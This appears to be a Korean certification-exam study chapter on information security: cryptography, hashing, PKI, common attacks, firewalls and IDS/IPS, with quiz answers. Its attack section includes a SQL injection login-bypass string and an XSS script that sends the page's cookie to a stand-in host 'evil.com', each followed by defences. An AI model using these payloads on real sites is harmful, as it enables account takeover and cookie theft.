Ch5. 정보처리기사 — 보안과 암호화
정보보안의 3요소 (CIA Triad)
정보보안은 정보 자산을 다양한 위협으로부터 보호하는 것입니다. 모든 보안 정책과 기술은 다음 3가지 핵심 요소를 기반으로 합니다.
| 요소 | 영문 | 설명 | 위협 예시 |
|---|---|---|---|
| 기밀성 (Confidentiality) | C | 허가된 사용자만 정보에 접근 가능 | 도청, 스니핑, 불법 접근 |
| 무결성 (Integrity) | I | 정보가 허가 없이 변조되지 않음 보장 | 데이터 변조, 위변조 |
| 가용성 (Availability) | A | 허가된 사용자가 필요할 때 정보에 접근 가능 | DDoS 공격, 랜섬웨어 |
암기법: CIA — 기무가 (기밀성·무결성·가용성)
추가 보안 요소:
- 인증(Authentication): 사용자·시스템이 진짜인지 확인
- 부인 방지(Non-Repudiation): 행위자가 행위를 부인하지 못하게 함
- 접근 제어(Access Control): 자원에 대한 접근 권한 관리
암호화 (Encryption)
암호화는 원본 데이터(평문, Plaintext)를 제3자가 읽을 수 없는 형태(암호문, Ciphertext)로 변환하는 기술입니다.
평문 → [암호화(Encryption)] → 암호문 → [복호화(Decryption)] → 평문
대칭키 암호화 (Symmetric Key Encryption)
암호화와 복호화에 **동일한 키(비밀키)**를 사용하는 방식입니다.
송신자: 평문 + 비밀키 → 암호문 (암호화)
수신자: 암호문 + 비밀키 → 평문 (복호화)
장점: 처리 속도가 빠름, 구현이 단순 단점: 키 배분 문제 — 사전에 안전하게 비밀키를 공유해야 함. 사용자 수가 n명이면 n(n-1)/2개의 키가 필요
| 알고리즘 | 키 길이 | 블록 크기 | 특징 |
|---|---|---|---|
| DES | 56비트 | 64비트 | 구식, 현재 보안 취약 |
| 3DES (Triple DES) | 168비트 | 64비트 | DES 3회 적용, 느림 |
| AES | 128/192/256비트 | 128비트 | 현재 표준, 빠르고 안전 |
| SEED | 128비트 | 128비트 | 국내 표준 (국가정보원) |
| ARIA | 128/192/256비트 | 128비트 | 국내 표준 (국가정보원) |
| RC4 | 가변 길이 | 스트림 | 스트림 암호, Wi-Fi WEP에 사용 (취약) |
블록 암호 vs 스트림 암호:
- 블록 암호: 고정 블록 단위로 처리 (DES, AES, SEED)
- 스트림 암호: 비트/바이트 단위로 연속 처리 (RC4) — 실시간 통신에 적합
공개키 암호화 (Public Key / Asymmetric Encryption)
**공개키(Public Key)**와 **개인키(Private Key)**의 쌍을 사용하는 방식입니다.
암호화: 평문 + 수신자의 공개키 → 암호문
복호화: 암호문 + 수신자의 개인키 → 평문
장점: 키 배분 문제 해결 (공개키를 공개해도 안전) 단점: 처리 속도가 느림 (대칭키보다 수백~수천 배 느림)
실제 활용: 대용량 데이터는 대칭키로 암호화하고, 대칭키 자체를 공개키로 암호화하여 전송 (하이브리드 방식 — SSL/TLS)
| 알고리즘 | 기반 수학 문제 | 특징 |
|---|---|---|
| RSA | 큰 수의 소인수분해 어려움 | 가장 널리 사용, 키 2048비트 이상 권장 |
| ElGamal | 이산 로그 문제 | 전자 서명에 활용 |
| ECC (타원 곡선 암호) | 타원 곡선 이산 로그 | RSA보다 짧은 키로 동등한 보안, 모바일에 적합 |
| Diffie-Hellman | 이산 로그 문제 | 키 교환 전용 (암호화 X), SSL/TLS에서 사용 |
해시 함수 (Hash Function)
임의 길이의 입력을 **고정 길이의 해시값(다이제스트)**으로 변환합니다. 단방향 — 복호화 불가.
해시 함수의 특성:
- 단방향성: 해시값으로 원본 복원 불가
- 결정성: 같은 입력은 항상 같은 해시값
- 충돌 저항성: 서로 다른 입력이 같은 해시값을 갖기 어려움
- 눈사태 효과: 입력 1비트 변경 시 해시값이 완전히 달라짐
| 알고리즘 | 출력 길이 | 현재 상태 |
|---|---|---|
| MD5 | 128비트 | 취약 (충돌 발견, 무결성 검증에만 제한적 사용) |
| SHA-1 | 160비트 | 취약 (충돌 발견, 사용 중단 권고) |
| SHA-256 | 256비트 | 안전, 현재 표준 (SHA-2 계열) |
| SHA-512 | 512비트 | 안전, SHA-2 계열 |
| SHA-3 | 가변 | 최신 표준, SHA-2와 다른 구조 |
해시의 활용:
- 비밀번호 저장: 평문 저장 대신 해시값 저장 → 솔팅(Salting)으로 레인보우 테이블 공격 방어
- 무결성 검증: 파일 다운로드 시 해시값 비교
- 디지털 서명: 문서의 해시값에 서명
디지털 서명과 PKI
디지털 서명 (Digital Signature)
문서의 출처와 무결성을 보장하는 기술입니다.
서명 과정:
1. 문서의 해시값 계산
2. 송신자의 개인키로 해시값 암호화 → 서명(Signature)
3. 원문 + 서명 전송
검증 과정:
1. 수신자가 송신자의 공개키로 서명 복호화 → 해시값A
2. 수신한 원문의 해시값 계산 → 해시값B
3. 해시값A == 해시값B → 무결성·부인방지 확인
디지털 서명이 보장하는 것: 인증(Authentication), 무결성(Integrity), 부인 방지(Non-Repudiation)
PKI (Public Key Infrastructure, 공개키 기반 구조)
공개키의 신뢰성을 보장하는 시스템입니다.
주요 구성 요소:
- CA (Certificate Authority, 인증기관): 디지털 인증서 발급·관리·폐기
- RA (Registration Authority, 등록기관): CA를 대신하여 인증서 신청 접수
- 디지털 인증서: 공개키 + 소유자 정보 + CA 서명이 포함된 전자 문서
- CRL (Certificate Revocation List): 폐기된 인증서 목록
주요 공격 유형
웹 애플리케이션 공격
SQL Injection
데이터베이스 쿼리에 악의적인 SQL 코드를 삽입하는 공격입니다.
-- 정상 쿼리
SELECT * FROM users WHERE id='' AND pw='입력값';
-- SQL Injection 공격
입력값: ' OR '1'='1
결과: SELECT * FROM users WHERE id='' OR '1'='1' AND pw='';
-- '1'='1'은 항상 참이므로 모든 사용자 정보 노출
예방: 준비된 구문(Prepared Statement), 입력값 검증·이스케이핑, 최소 권한 DB 계정 사용
XSS (Cross-Site Scripting)
악의적인 스크립트를 웹 페이지에 삽입하여 다른 사용자의 브라우저에서 실행시키는 공격입니다.
<!-- 게시판에 악성 스크립트 삽입 -->
<script>document.location='http://evil.com?cookie='+document.cookie</script>
유형:
- 저장형(Stored XSS): 서버 DB에 스크립트 저장 → 다른 사용자가 페이지 로드 시 실행
- 반사형(Reflected XSS): URL 파라미터에 스크립트 삽입 → 링크 클릭 시 실행
- DOM 기반: 클라이언트 측 JavaScript가 DOM 조작 시 실행
예방: 입력값 검증, 출력 시 HTML 인코딩(이스케이핑), CSP(Content Security Policy) 설정, HttpOnly 쿠키
CSRF (Cross-Site Request Forgery)
인증된 사용자의 권한을 이용하여 의도치 않은 요청을 서버로 보내는 공격입니다.
예방: CSRF 토큰 사용, SameSite 쿠키 속성, Referer 검증
서비스 공격
DoS (Denial of Service) / DDoS (Distributed DoS)
서버에 대량의 트래픽을 보내 서비스를 마비시키는 공격입니다.
- DoS: 단일 시스템에서 공격
- DDoS: 수많은 좀비 PC(봇넷)를 이용한 분산 공격
DDoS 공격 유형:
- SYN Flooding: TCP 연결 요청(SYN)을 대량으로 보내 연결 자원 고갈
- UDP Flooding: 대역폭을 UDP 패킷으로 소진
- HTTP Flooding: 정상적인 HTTP 요청을 대량으로 전송
예방: 방화벽·IDS/IPS, CDN 활용, Rate Limiting, 블랙홀 라우팅, DDoS 방어 서비스(Cloudflare 등)
사회공학 공격
피싱 (Phishing)
이메일·문자·전화 등으로 신뢰할 수 있는 기관을 사칭하여 개인정보·인증정보를 탈취합니다.
변형:
- 스피어 피싱(Spear Phishing): 특정 개인·조직을 타겟으로 맞춤형 공격
- 스미싱(Smishing): SMS를 이용한 피싱
- 보이스 피싱(Vishing): 전화를 이용한 피싱
- 파밍(Pharming): DNS를 변조하여 가짜 사이트로 유도
사회공학 (Social Engineering)
기술적 취약점보다 사람의 심리적 취약점을 악용하는 공격입니다.
- 권위 사칭, 긴박감 조성, 신뢰 관계 이용
- 예방: 보안 교육, 정책·절차 준수, 정보 공개 최소화
기타 공격 유형
| 공격 | 설명 |
|---|---|
| Man-in-the-Middle (중간자) | 통신 사이에 끼어 내용 도청·변조 |
| 레인보우 테이블 | 해시값 역산을 위한 사전 계산 테이블 → 솔팅으로 방어 |
| 무차별 대입(Brute Force) | 모든 경우의 수를 시도 |
| 사전 공격(Dictionary) | 자주 쓰는 비밀번호 목록으로 시도 |
| 워터링 홀(Watering Hole) | 타겟이 자주 방문하는 사이트를 감염시켜 공격 |
| 랜섬웨어(Ransomware) | 파일 암호화 후 복호화 대가로 금전 요구 |
보안 장비와 솔루션
방화벽 (Firewall)
네트워크 경계에서 패킷을 필터링하여 허가되지 않은 접근을 차단합니다.
| 유형 | 동작 방식 | 특징 |
|---|---|---|
| 패킷 필터링 | IP·포트 기반 필터링 | 빠름, 상태 추적 불가 |
| 스테이트풀 인스펙션 | 연결 상태 추적 | 패킷 필터링 개선판 |
| 애플리케이션 게이트웨이(프록시) | 응용 계층에서 내용 검사 | 깊은 검사, 속도 느림 |
| 차세대 방화벽(NGFW) | 애플리케이션 식별·IPS 통합 | 종합 보안 기능 |
DMZ (Demilitarized Zone): 외부 네트워크와 내부 네트워크 사이의 완충 영역. 웹 서버·메일 서버 등 외부 접근이 필요한 서버 배치.
IDS vs IPS
| 구분 | IDS (침입 탐지 시스템) | IPS (침입 방지 시스템) |
|---|---|---|
| 동작 | 트래픽 감시·탐지 후 알림 | 탐지 즉시 차단 |
| 위치 | 네트워크 외부(미러링) | 네트워크 인라인 |
| 가용성 영향 | 없음 | 오탐지 시 정상 트래픽 차단 위험 |
탐지 방식:
- 시그니처 기반(Signature-based): 알려진 공격 패턴과 비교. 알려지지 않은 공격(Zero-day) 탐지 불가
- 이상 기반(Anomaly-based): 정상 행동 기준선 설정 후 이탈 탐지. 오탐지 가능
VPN (Virtual Private Network)
공용 네트워크(인터넷)를 통해 안전한 암호화된 터널을 형성하여 사설 네트워크처럼 통신합니다.
VPN 프로토콜:
- IPsec: 네트워크 계층(3계층)에서 암호화. 터널 모드·전송 모드
- SSL/TLS VPN: 브라우저 기반, 설치 간편
- PPTP: 오래된 방식, 보안 취약
- L2TP/IPsec: L2TP + IPsec 조합
기타 보안 솔루션
| 솔루션 | 설명 |
|---|---|
| WAF (Web Application Firewall) | 웹 애플리케이션 특화 방화벽 (SQL Injection·XSS 차단) |
| DLP (Data Loss Prevention) | 민감 데이터 외부 유출 방지 |
| SIEM | 보안 이벤트 통합 관리·분석 |
| EDR | 엔드포인트 위협 탐지·대응 |
| Zero Trust | 내부·외부 구분 없이 모든 접근을 검증 (“신뢰하지 않고 항상 검증”) |
보안 취약점 관리
CVE (Common Vulnerabilities and Exposures)
공개적으로 알려진 보안 취약점에 부여되는 고유 식별자입니다.
- 형식:
CVE-연도-번호(예: CVE-2021-44228 — Log4Shell) - 미국 NIST의 **NVD(National Vulnerability Database)**에서 관리
CVSS (Common Vulnerability Scoring System)
취약점의 심각도를 수치화하는 표준 점수 체계입니다.
| 점수 범위 | 심각도 |
|---|---|
| 0.0 | None (없음) |
| 0.1 ~ 3.9 | Low (낮음) |
| 4.0 ~ 6.9 | Medium (중간) |
| 7.0 ~ 8.9 | High (높음) |
| 9.0 ~ 10.0 | Critical (심각) |
평가 기준: 공격 벡터(네트워크/로컬), 공격 복잡성, 권한 필요 여부, 기밀성·무결성·가용성 영향도 등
보안 인증 체계
| 인증 | 설명 |
|---|---|
| ISO 27001 | 정보보호 관리체계(ISMS) 국제 표준 |
| ISMS-P | 한국 정보보호 및 개인정보보호 관리체계 인증 |
| CC (Common Criteria, ISO 15408) | IT 보안 제품 평가 기준 |
| EAL | CC 평가 보증 수준 (EAL1~EAL7) |
접근 제어 모델
| 모델 | 설명 | 특징 |
|---|---|---|
| MAC (강제적 접근 제어) | 관리자가 정한 보안 레이블 기반 | 군사·정부 시스템 |
| DAC (임의적 접근 제어) | 자원 소유자가 접근 권한 결정 | Unix 파일 권한 |
| RBAC (역할 기반 접근 제어) | 사용자의 역할에 따라 권한 부여 | 기업 환경에 일반적 |
| ABAC (속성 기반 접근 제어) | 사용자·자원·환경 속성 조합 | 세밀한 제어, 복잡 |
핵심 개념 카드
정보보안 3요소 ★★★★★ : 기밀성(Confidentiality)·무결성(Integrity)·가용성(Availability) — CIA Triad. 암기 포인트: CIA 기무가 — 기밀·무결·가용
대칭키 vs 공개키 ★★★★★ : 대칭키=같은키·빠름·키배분문제(AES/DES). 공개키=공개+개인키·느림·키배분해결(RSA). 암기 포인트: 대칭=빠름, 공개키=안전한키교환. SSL/TLS는 하이브리드
해시 함수 ★★★★★ : SHA-256(현재표준·256비트), MD5(취약·128비트), 단방향·복호화불가. 암기 포인트: 비밀번호=해시+솔팅으로 저장
주요 공격 ★★★★★ : SQL Injection(DB쿼리삽입·Prepared Statement), XSS(스크립트삽입·인코딩), DDoS(분산트래픽·봇넷). 암기 포인트: SQL=DB공격, XSS=브라우저공격, DDoS=가용성공격
방화벽 vs IDS vs IPS ★★★★☆ : 방화벽=패킷차단, IDS=탐지+알림, IPS=탐지+자동차단. 암기 포인트: IDS는 수동(알림만), IPS는 능동(자동차단)
실전 퀴즈
Q1. 다음 암호화 알고리즘 중 대칭키 암호화 방식이 아닌 것은? ① AES ② RSA ③ DES ④ SEED
정답: ② RSA는 공개키(비대칭키) 암호화 알고리즘입니다. AES·DES·SEED는 모두 대칭키 알고리즘으로, 암호화와 복호화에 동일한 키를 사용합니다. RSA는 공개키와 개인키 쌍을 사용하며 큰 수의 소인수분해 어려움을 기반으로 합니다.
Q2. 해시 함수의 특성 중 입력값이 조금만 변경되어도 출력 해시값이 완전히 달라지는 성질을 무엇이라 하는가?
정답: 눈사태 효과(Avalanche Effect). 해시 함수의 핵심 특성 중 하나로, 입력 1비트만 바꿔도 출력값이 약 50%나 달라집니다. 이 외에도 단방향성(역계산 불가), 결정성(같은 입력=같은 출력), 충돌 저항성(두 입력이 같은 해시값을 갖기 어려움)이 있습니다.
Q3. 다음 중 XSS 공격에 대한 대응 방법으로 가장 적절하지 않은 것은? ① 입력값의 HTML 특수문자를 이스케이핑한다. ② Prepared Statement를 사용한다. ③ CSP(Content Security Policy) 헤더를 설정한다. ④ HttpOnly 쿠키 속성을 설정한다.
정답: ② Prepared Statement(준비된 구문)는 SQL Injection 방어 기법입니다. XSS 방어는 HTML 이스케이핑, CSP 헤더, HttpOnly 쿠키, 입력값 검증 등이 사용됩니다. 각 공격 유형별로 적합한 대응 방법을 구분하는 것이 중요합니다.
Q4. IDS와 IPS의 가장 큰 차이점은 무엇인가?
정답: IDS(침입 탐지 시스템)는 침입을 탐지하고 관리자에게 알림만 제공하는 수동적 장비입니다. 반면 IPS(침입 방지 시스템)는 탐지 즉시 트래픽을 자동으로 차단하는 능동적 장비입니다. IPS는 네트워크 인라인에 설치되어 즉각 대응이 가능하지만, 오탐지 시 정상 트래픽도 차단될 위험이 있습니다.
Q5. 디지털 서명이 보장하는 3가지 보안 요소를 쓰시오.
정답: ① 인증(Authentication) — 서명자가 실제 그 사람임을 확인. ② 무결성(Integrity) — 서명 이후 내용이 변조되지 않았음을 보장. ③ 부인 방지(Non-Repudiation) — 서명자가 나중에 서명 사실을 부인할 수 없음. 디지털 서명은 송신자의 개인키로 문서의 해시값을 암호화하고, 수신자가 송신자의 공개키로 검증합니다.
OIYO 편집부
Content Editor지식 인큐베이터이자 전문 콘텐츠 크리에이터. 경영, 경제, 법률 및 실생활에 유용한 실무/자격증 중심의 깊이 있는 정보를 연구하고 공유합니다.